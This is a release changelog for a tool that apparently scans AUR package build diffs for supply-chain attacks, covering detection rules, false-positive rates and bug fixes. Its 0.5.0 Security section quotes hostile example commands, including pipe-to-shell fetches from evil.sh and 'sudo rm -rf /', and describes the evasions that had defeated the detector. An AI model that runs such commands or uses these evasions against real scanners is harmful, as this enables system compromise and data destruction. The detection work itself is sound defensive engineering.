Tracked documentation artifacts. Documentation JSON files committed by a prior zensical run are removed from the index and gitignored.
Style¶
- Ruff E402 violations resolved.
log = logging.getLogger(__name__)was moved below all imports inanalysis.pyandllm.py. Exception handlers inoverride.pywere narrowed fromexcept BaseExceptiontoexcept Exception.
Documentation¶
- Docstrings added to all 124 functions across 19 source files, covering every public and private function including inner closures.
Build¶
.gitignoreupdated for makepkg artifacts.packaging/aur/pkg/,packaging/aur/src/,*.tar.gz, and*.pkg.tar.*are now ignored.
0.7.0 - 2026-07-26¶
Added¶
- Temporal context rules (R065-R067). Three new code-emitted rules that inspect git commit timestamps on the AUR repository rather than diff content. All are on by default with no config toggle.
| Rule | Name | Severity | Condition |
|---|---|---|---|
| R065 | Very Recent Update | INFO (w 0) | HEAD commit < 72 h old |
| R066 | Brand New Package | INFO (w 0) | First AUR commit < 30 days old |
| R067 | Stale Package Revived | MEDIUM (w 15) | Gap to last analyzed commit > 365 days |
- Install, build, and maintainer rules (R068-R073). Six new code-emitted rules that inspect install hooks, GPG verification removal, build environment subversion, maintainer takeovers, capability density, and release cadence.
| Rule | Name | Severity | Category | Condition |
|---|---|---|---|---|
| R068 | Install Hook Present | INFO (w 0) | context | PKGBUILD declares install= or diff touches *.install |
| R069 | GPG Verification Removed | HIGH (w 25) | integrity | validpgpkeys populated before, empty/absent after |
| R070 | Build Environment Subversion | HIGH/MEDIUM (w 25/15) | build | LD_PRELOAD/LD_LIBRARY_PATH (HIGH) or CFLAGS/LDFLAGS/MAKEFLAGS/PATH (MED) set inside build fn |
| R071 | Untrusted Maintainer Takeover | HIGH (w 25) | maintainer | maintainer changed + new maintainer globally novel |
| R072 | Capability Density Anomaly | INFO (w 0) | meta | rule hits span 3+ distinct categories |
| R073 | Accelerated Release Cadence | metadata (never scored) | temporal-metadata | HEAD has 3+ ancestors in the last 24 h |
All R068-R073 are always on, gated only by diff content or database maturity rather than an experimental flag.
- Naming and dependency-set rules (R074-R075). Two new code-emitted rules that detect package-name typosquatting and aggregate dependency-set expansion.
| Rule | Name | Severity | Category | Condition |
|---|---|---|---|---|
| R074 | Package-Name Typosquat | HIGH (w 25) | naming | name within edit-distance 2 of a far-more-popular package, not a variant |
| R075 | Dependency-Set Expansion | MEDIUM (w 15) | dependency | diff adds 3+ deps whose count x mean-rarity exceeds gate |
Both are always on, gated only by a cold-start maturity check. R074 uses seed popularity data and requires a warmed database; R075 is fully corpus-calibratable.
- Fire rates measured for R068-R075. Measured against the 3246-diff benign corpus. R068 (20.95 %), R069 (0.03 %), R070 (0.25 %), R072 (15.87 %), R074 (1.12 % package-scan), R075 (0.34 %). All scored rules pass the 30 % gate. R071/R073 require live git history and are marked TBD in fire-rates.md.
Fixed¶
- Crash bugs in the analysis pipeline and CLI. Seven fixes that prevented the tool from crashing on unusual package states or missing dependencies:
| ID | Issue | Fix |
|---|---|---|
| B1 | pygit2.GitError raised NameError at runtime because pygit2 was not imported in analysis.py |
Added import pygit2 (not just a type stub) |
| B2 | generate_diff crashes on stale commit OIDs that produce None commits |
Guard against None before accessing .tree |
| B3 | get_head_commit propagates GitError for empty/unborn repos |
Wrapped in try/except, returns "" on failure |
| B4 | One bad package in a batch aborts the entire scan | Per-package try/except around analyze_package in CLI loop |
| B5 | Tool crashes on startup when rich is not installed |
Guard console() and all fallback paths with HAS_RICH checks |
| B6 | Seed-import message leaks into JSON stdout with --json |
Pass quiet=True to maybe_auto_import_seed in JSON mode |
| B10 | _simple_vercmp compares version parts lexicographically (e.g. 9 > 10) |
Parse as integers before comparison |
python -m trustsightsupport. Addedsrc/trustsight/__main__.pyso the tool works withpython -m trustsightin addition to the installed script.
0.6.1 - 2026-07-25¶
Changed¶
- Eight experimental rules promoted to enabled by default. D001, D002, D003,
D004, R061, R062, R063, and R064 now default to
truein both the config template and the code fallback. Users who already have an[experimental_rules]section in theirconfig.tomlare unaffected and keep their existing setting; users without the section pick up the new defaults automatically.
Fire rates (false-positive rates on the 3246-diff benign corpus) that justified the promotion:
| Rule | Severity | Rate | Fires |
|---|---|---|---|
| D001 | HIGH | 0.15 % | 5/3246 |
| D002 | HIGH | 0.00 % | 0/3246 |
| D003 | MEDIUM | 0.46 % | 15/3246 |
| D004 | HIGH | 0.00 % | 0/3246 |
| R061 | HIGH | 0.22 % | 7/3246 |
| R062 | HIGH | 0.09 % | 3/3246 |
| R063 | HIGH | 0.00 % | 0/3246 |
| R064 | MEDIUM | 0.03 % | 1/3246 |
See Fire Rates for the full reference.
- Baseline regenerated with the new defaults. The eight rules now appear
in per-stratum fire-rate records. Aggregate metrics (
zero_pct,p95) shifted slightly as expected; the baseline is the new reference.
Added¶
- Fire Rates documentation page (
docs/explanation/fire-rates.md). Explains how fire rates are measured, the two corpora, the 30 % demotion gate, and per-rule tables for core, expanded, D-series, and build-function rules.
0.6.0 - 2026-07-25¶
Added¶
- Four more supply-chain rules, all off by default, each measured against the 3246-diff benign corpus before being designed. D004 0.00 %, R062 0.09 %, R063 0.00 %, R064 0.03 %.
- D004 (HIGH)
provides/replacesclaims an established package unrelated to this one, installing it in front of the real thing. Variants (htop-vim→htop) and siblings (linux-cachyos→linux-headers) are suppressed, but a shared ecosystem prefix is not:python-evilclaimingpython-requestsstill fires, because thousands of unrelated packages sharepython-. "Established" ispacman -Slq, falling back toobservation_count. - R062 (HIGH) a
.installhook that fetches or performs a privileged operation. Hooks run as root at install time. Needed no new parsing:generate_diff()already includes*.installpatches and_classify_enclosing_function()recognisespost_install()like any other function. - R063 (HIGH) a patch applied from a URL, an absolute path, or process substitution.
- R064 (MEDIUM) a
source=URL downgraded fromhttpstohttp.extract_source_array_urls()gained asideparameter so both sides of the diff can be compared.
- D004 (HIGH)
- D-series dependency-graph rules, closing part of the documented build-dependency blind spot. All are off by default under a new
[experimental_rules]config section, sobaseline.jsonis unaffected until they are deliberately enabled.- D001 (HIGH) novel dependency: a name never observed anywhere in the AUR. Backed by a new
dependency_namestable seeded from every dependency entry plus every package name andprovidesalias, without which a real package that nothing else depends on would read as novel. Silent on an unseeded database rather than flagging everything. - D002 (HIGH) typosquatted dependency, e.g.
openss1foropenssl. Refines D001 and is reported in its place. - D003 (MEDIUM)
makedependsgains a network-capable tool, so the build can fetch code no checksum covers.
- D001 (HIGH) novel dependency: a name never observed anywhere in the AUR. Backed by a new
- R060 is now INFO (weight 0) and on by default. It fires on 21.4 % of benign diffs because maintainers rewrite build functions routinely, and no narrowing reaches triage quality: restricting to an unchanged
pkgverstill leaves 11.6 %, and the "version bump that also editsbuild()" case it was proposed for is 9.8 %. At weight 0 it reports context to a reviewer without touching any score. - R061 (HIGH) a download inside a build function whose URL is absent from
source=(). Off by default. scripts/generate_seed.pyrecords dependency names from the.SRCINFOit already reads, so seeding costs no extra I/O.normalize_dependencyis shared with the runtime lookup: were the two to normalise differently, every query would miss and every dependency would look novel.tokenizer.resolve_added_lines()returns resolved lines with positions intact, so a rule can still resolve variables and know its enclosing function. Resolution alone discards that.- The bundled seed is regenerated and now carries 209,909 dependency names alongside 179,956 URLs and 35,903 maintainers.
seed.db.gzgrows from 13.0 MB to 19.9 MB.
Fire rates against the 3246-diff benign corpus, so these are false-positive rates: D001 0.15 %, D002 0.00 %, D003 0.46 %, D004 0.00 %, R061 0.22 %, R062 0.09 %, R063 0.00 %, R064 0.03 %, R060 21.4 %. R060 is the outlier by design, marking any edit to a build function; at weight 5 it cannot reclassify a package alone but it moves benign p95 more than the other four together, so it deserves a separate decision from the rest.
Fixed¶
_EXPERIMENTAL_DEFAULTSinanalysis.py.load_config()reads the user'sconfig.tomlverbatim and never merges new defaults in, so an existing install would never have seen[experimental_rules]and R060 would have been dead for every upgrade. Defaults now live in code, with the config file overriding them.- D004 did nothing when enabled on its own. It shared a guard clause that only tested D001-D003, so the whole dependency block returned early unless one of those was also on. Covered by a test that enables each rule in isolation.
- The dependency extractor read shell code as dependency names. An unbounded fallback for unquoted array entries pulled
if,[[, and!out of apackage()body, and comments inside dependency arrays contributed every word of the note (required,because,disabled). Together these put D001 at 5.95 % against a true rate of 0.15 %. Array termination is now quote-aware and bounded, tokens are validated against the Arch package-name grammar, and comments are stripped. resolve_added_lines()shifted every line after an assignment. It zipped its output againsttokenize_and_resolve(), which omits assignment lines, so any added assignment made the two sequences different lengths. An array header could vanish and a rule scoped tobuild()could be handed the wrong function. Substitution is now applied per line from a shared variable table, whichtokenize_and_resolve()also uses so the two cannot diverge.- The release workflow could not commit its result. The
Commit to the default branchstep failed withfatal: not in a git directory, despiteactions/checkouthaving rungit initin the workspace normally. Rather than fight the container's git, the workflow is now split:makepkgwork (checksum,--verifysource,--printsrcinfo) runs in the Arch container and handsPKGBUILDand.SRCINFOover as an artifact, and a second job on the standard runner does the commit.include-hidden-filesis set on the upload, since.SRCINFOis a dotfile and would otherwise be silently dropped. Aconcurrencygroup stops two releases racing on the same branch. packaging/aur/PKGBUILDcarried the wrong checksum. Because the release workflow never completed,pkgverhad been bumped to 0.5.1 whilesha256sumsstill held the v0.5.0 tarball's hash, somakepkg -sifailed validation for anyone following the documented install. Corrected to the real v0.5.1 hash and verified withmakepkg --verifysource;.SRCINFOregenerated to match.
0.5.1 - 2026-07-25¶
Added¶
.github/workflows/release-pkgbuild.yml: on av*tag, downloads the generated source tarball, computes its sha256, and writespkgver,pkgrel, andsha256sumsintopackaging/aur/PKGBUILDon the default branch, regenerating.SRCINFOwithmakepkg --printsrcinfo. The PKGBUILD shipped to users therefore never carriesSKIP. The checksum is validated withmakepkg --verifysourcebefore the commit, so a wrong hash fails the release rather than reaching a user.
The update lands on the default branch and the tag is never moved. GitHub generates the tarball from the tree the tag points at, so amending the tag would change the tarball and invalidate the checksum just computed.
Fixed¶
packaging/aur/.SRCINFOwas stale: it declaredpkgver = 0.3.0, an all-zerosha256sums, and omitted thepython-typerdependency the PKGBUILD requires. Regenerated, and now kept current automatically by the release workflow.
0.5.0 - 2026-07-25¶
Added¶
scripts/build_corpus.py --from-manifest: rebuilds the exact corpus recorded incorpus.lockinstead of re-selecting packages by AUR popularity. Fetches only the branches named in the lock into an empty bare repo, so reconstruction takes minutes rather than requiring a full clone of the AUR monorepo. This is what lets CI materialise the corpus, which is gitignored and therefore never present on a fresh checkout.
Security¶
- A message prefix disabled every scoped rule. Any line starting with
echo/printf/msg/ followed by a quote was classified as an inert "message" in its entirety, but a shell line does not end at its first command.echo "x"; sudo rm -rf /scored 0 wheresudo rm -rf /scored 40, so a seven-character prefix switched off R009 (CRITICAL), R010, and R011. Message context now requires the line to contain no command separator (;,&,|) or substitution ($(, backtick). - Line continuations bypassed the CRITICAL pipe-to-shell rules. Rules match one line at a time, so splitting
curl http://evil.sh | bashacross a trailing backslash left R001/R002 with only acurl \fragment, dropping the score from 65 to 25. Continuations are now joined into one logical line before matching, for both the raw and resolved paths. - Variable resolution never ran inside function bodies. The tokenizer's assignment pattern was anchored at
^(\w+)=, so any indented assignment (that is, every assignment inside a function) was skipped and the variable table stayed empty.C=curlfollowed by$C http://evil.sh | bashresolved to nothing and defeated every rule matching resolved strings, scoring 20 against a baseline of 65. Assignments are now recognised when indented and when introduced bylocal/export/declare/readonly/typeset. - One-line function bodies escaped function scoping.
package() { curl evil | bash; }was classified before the depth counter advanced, so the line read asotherandfunction_body-scoped rules skipped it; the counter was also left raised for everything that followed. ..passed package-name validation and could delete the cache root._VALID_PKG_NAMEaccepted.and.., sorepo_path("..")resolved to the parent of the repo cache, whichclone_or_fetchthen passed toshutil.rmtreewhen it failed to open as a repository. Both names are now rejected, andrepo_pathadditionally asserts the resolved path is directly inside the cache root.discovery.fetch_package_infointerpolated the package name straight into the RPC query string; an unescaped&or#could inject or truncate parameters. It now usesurlencode, matchingget_aur_latest_versions.
Fixed¶
- Mirror Integrity Check never ran. The
Alert on failurestep's script block was mis-indented, makingmirror-check.ymlunparseable; every run failed during workflow startup. The workflow now also reconstructs the corpus before verifying it, rather than assuming a directory that cannot exist in CI. - Corpus Drift Detection failed with
Corpus not foundfor the same reason, and now rebuilds the corpus from the lock first (caching the fetched AUR objects). - Corpus diffs were not reproducible across machines.
gitscales the abbreviation length inindex <old>..<new>lines to a repository's object count, so a sparse clone emitted 7-character hashes where the full mirror emitted 12: byte-different diffs for identical commits, invalidatingcorpus_content_sha256.core.abbrevis now pinned to 12 and recorded in the lock. - Overlapping strata double-counted diffs. A package matching two strata (
python-foo-gitmatches bothlang_ecosystemandvcs_git) was walked once per stratum, and both entries were kept, inflating per-stratum fire rates. Entries are now deduplicated at lock-write time, keeping the last stratum to match the overwrite order the corpus on disk already had.corpus.lockdrops from 3332 to 3246 entries with no change to the corpus itself. corpus.lockrecordedstrata_fileas an absolute path from the generating machine.- Drift reports are no longer passed through a
GITHUB_OUTPUTheredoc, whose delimiter could be forged by diff content and whose payload could exceed the 1 MB output limit. Both workflows also suppress duplicate issues instead of filing one per run.
Documentation¶
re-baselining.mddescribed behaviourrebaseline.pydoes not have: it does not check out the corpus, does not validate CI gates, and reports nop5/p50. Strata are package shapes, notbenign/malicious/synthetic. Corrected, and the required corpus-reconstruction step added.writing-a-rule.mdreferenced a--check-fire-rateflag that does not exist, and the wrong corpus path.- Installation is now documented as a single path:
git clonefrom GitHub plusmakepkg -siagainst the in-repo PKGBUILD. The pipx andpiproutes have been removed, and the docs note that the package is not yet published to the AUR. rules.mddocumented a bare function header as the only header behaviour, and did not mention that continuations are joined before matching. Both corrected, along with the qualification thatmessagecontext requires the line to be only a message.cli.mdlistedscope-contradictionas an error; it is now a warning.
0.4.1 - 2026-07-25¶
Added¶
--jsonflag on all commands for machine-readable output.- PKGBUILD build+install CI workflow using
archlinux:latestcontainer. - AUR install instructions in README and getting-started guide.
Changed¶
- CLI migrated from
argparsetotyper: auto-generated--help, type-annotated callbacks,--jsonflag per command. Entry point renamed frommaintoapp. - CLI tests updated from
patch(sys.argv)pattern totyper.testing.CliRunner. - Documentation tests parse typer patterns (
add_typer,@command) instead of argparseadd_parser.
Fixed¶
- Mirror-check CI now triggers on
pushfor corpus.lock and benign-corpus changes.
0.4.0 - 2026-07-25¶
Added¶
- Multi-repo and foreign package discovery: new
--repo,--foreign,--all-reposflags fortrustsight review. Packages can be scanned from specific local repositories, all auto-detected local repos (excluding official ones), and/or foreign packages. Config-driven defaults via new[discovery]section inconfig.toml. vercmp-based version comparison for accurate detection of outdated packages (replaces string inequality).- Graceful fallback to string comparison when
vercmpbinary is missing.
Changed¶
- Python requirement lowered from
>=3.12to>=3.10.tomllibusage replaced with atomlifallback shim for 3.10 compatibility. - CI matrix expanded to test Python 3.10 through 3.14.
- Catastrophic backtracking detection threshold raised (
_BACKTRACK_REPS18 -> 22) to remain effective on Python 3.12+ optimized regex engine.
0.3.1 - 2026-07-24¶
Fixed¶
- Verdict text no longer printed to stdout during
reviewfor every package (strayprint(result)ingenerate_verdict_streamnon-streaming path) - Stale
~/.pyenv/shims/trustsightshadowed pipx install, causingtrustsight -vto report 0.1.0 instead of the actual installed version
Added¶
-v/--versionCLI flags viaimportlib.metadata.version()- Graceful
KeyboardInterrupthandling: cleanInterrupted.message and exit code 130 instead of an SSL/httpx traceback
Changed¶
-hhelp now includes config subcommands section (config show,config set,config sync-rules) and usage examples
0.2.2 - 2026-07-24¶
This release fixes a critical false positive in R013 that could score benign packages 100/100, restores the novelty engine (Tier C) which had been inert since v0.1, and ships a pre-seeded database of 178,491 AUR source URLs to eliminate cold-start INCONCLUSIVE verdicts.
Existing users must run trustsight config sync-rules --update to receive
the corrected detection patterns. rules.toml is written only when absent, so
a package upgrade alone does not update it. The command is additive and never
overwrites a rule you have edited.
Note: v0.2.1 was already tagged at the previous commit, and the [0.3.0]
section below was recorded ahead of the v0.3.0 tag that now carries it. This
release takes the next free patch number; the 0.3.0 ordering is left for a
separate reconciliation.
Fixed¶
- R013 (FATAL) fired on legitimate localized text. U+200B-U+200D are mandatory joiners in Malayalam, Lao and other scripts, so a
GenericName[ml]=line in a browser package scored 100/100; measured on two packages in the benign corpus. Zero-width characters now require ASCII neighbours; bidi overrides, invisible operators and tag characters still fire unconditionally. The pattern also gains U+200E/U+200F, U+2060-U+2064 and the tag block, whichunicode.pyalready listed and which account for the documented recall gap. - R058 fired on
"${pkgdir}"/usr/lib/..., where the quote closes before the path, and on absolute paths quoted insideechostrings. It now requires the command to be the first token on the line and the path to start an argument. - The maintainer was read from
.SRCINFO, which does not carry one; checked against the AUR mirror, 0 of 200.SRCINFOfiles have amaintainer =line, while every PKGBUILD opens with# Maintainer:.get_maintainer_from_commit()therefore always returnedNone, silently disablingmaintainer_changed, the highest novelty weight (20), and C006. Now read from the PKGBUILD comment, with.SRCINFOas a fallback. scan_difftracked novelty differently from the live path in three ways: it compared raw URLs instead ofnormalize_url-d ones (so every version bump read as novel), it derived "first seen globally" from the per-package set (making it identical to per-package), and it overwrote rather than OR-ed the flags across multiple URLs (so a familiar URL masked a novel one).- Tier C novelty was inert:
observation_countwas never populated outside tests, somaturity()always read 0 and every novelty weight scored zero. Now sourced fromcount_observations(). - Homograph detection missed Cyrillic confusables.
has_homograph()only matched codepoints namedLATIN*, while theCONFUSABLEStable it sits beside is Cyrillic; sogithub.cоmclassified asunknown(+20) rather thanhomograph_attack(+30). Replaced with mixed-script-per-label detection, plus punycode decoding to close thexn--bypass. Legitimate single-script IDNs (.рф, Japanese, Korean) are not flagged. cli.pycalledset_configwithout importing it, sotrustsight config setraisedNameError.scripts/build_corpus.pyhad a 600s timeout on the AUR bare clone, which the repository cannot meet, so the script could never complete on a fresh machine. Partial clones were also left on disk and reused silently, sincerev-parse --git-dirsucceeds on an interrupted clone.
Added¶
- Novelty seed database.
scripts/generate_seed.pybuilds it from the AUR git mirror by parsing.SRCINFO(including the arch-suffixedsource_x86_64arrays);trustsight seed-dbimports it. Without a seed, a fresh install has an emptysource_urlstable, sourl_first_globallyfires for github.com and every other ordinary host, andmaturity()returns 0 because there is no analysis history; leaving every Medium verdict downgraded to INCONCLUSIVE. Import is additive and idempotent, and never overwrites a row learned from a real analysis. metadataandmaintainer_countstables, andeffective_observation_count(): maturity falls back to a seed-supplied bootstrap count, and real analyses take over as soon as they outnumber it, so the tool never depends on external data permanently.trustsight lint-rules(--filefor CI): detects unreachable, over-broad, and malformed rules. Errors on empty patterns, duplicate ids, ids owned byanalysis.py, comment-shadowed rules, and scope contradictions; warns on rules that fire on ordinary packaging.- Expanded ruleset R039-R059 (21 rules), calibrated against a 3322-diff stratified benign corpus and enabled by default. Fourteen fire on zero benign diffs; every remaining hit was inspected individually and all but one were true positives. R053 was split by target: setuid inside
$pkgdiris MEDIUM (Chromium's sandbox helper legitimately needs 4755, and at MEDIUM this changes no package's risk band), while setuid on an absolute path is a separate HIGH rule, R059. Theexperimentalflag remains supported for future additions. - Programmatic rules C004 (checksum removed for unchanged source), C005 (binary artifact from untrusted source), C006 (maintainer change with new source domain), C007 (command substitution in source array).
- Rule scopes may name a PKGBUILD function (
scope = ["pkgver"]), not just a line context. added_onlyrule field: match only added lines, so deleting a suspicious line no longer raises a package's score.- Ephemeral paste and file-drop services added to the
raw_hostingbucket.
Changed¶
- Novelty weights recalibrated now that tier C is live:
url_first_globally15 → 10,url_first_in_package10 → 5,maintainer_first_in_package20 → 15. The previous values had never been exercised, becauseobservation_countwas never populated and the maturity multiplier was permanently 0. At full maturity they took a borderline 15-point package with a novel URL and a novel maintainer to 60 (High); the new values keep that case at 45 (Medium). Maintainer novelty remains the strongest signal. _structural_findings()is now shared byanalyze_package()andscan_diff(), removing ~110 lines duplicated between the live and offline pipelines.
0.3.0 - 2026-07-18¶
- Score column renamed to "Risk Score"
- Rich progress output during review
- AUR RPC batching for performance
- Handle empty AUR repos gracefully
- FATAL severity with hard stop at 100
- Verification evidence detection and scoring
- Source pinning classification
- Code rules C001-C003 for structural anomalies
- URL normalization for novelty dedup
- Maturity-based novelty gating with Inconclusive risk level
- Scope-based rule matching (function_body context)
- R012 (prompt injection) and R013 (unicode bidi) rules
- LLM verdict integrity assertions
- scan_diff offline pipeline for benchmark use
- is_skip_justified analysis for SKIP checksums
- Fix: SKIP checksums no longer count as verification evidence
- Removed R004/R005 from TOML rules (now programmatic, context-aware)
- Default LLM provider changed to openai
- CI workflows for corpus drift monitoring
- 267 tests (was 218)
0.2.0 - 2026-07-15¶
- R004/R005 rule hardening with quote bypass fix
- Tokenizer iteration fix
- Forge classification cap
- IDN detection
- Shell variant coverage
- base64 --decode detection
0.1.0 - 2026-07-12¶
- Initial release
- R001-R011 rules
- AUR diff analysis pipeline
- Deterministic scoring
- SQLite novelty tracking
- LLM verdict integration
- Basic CLI (review, inspect, history, config)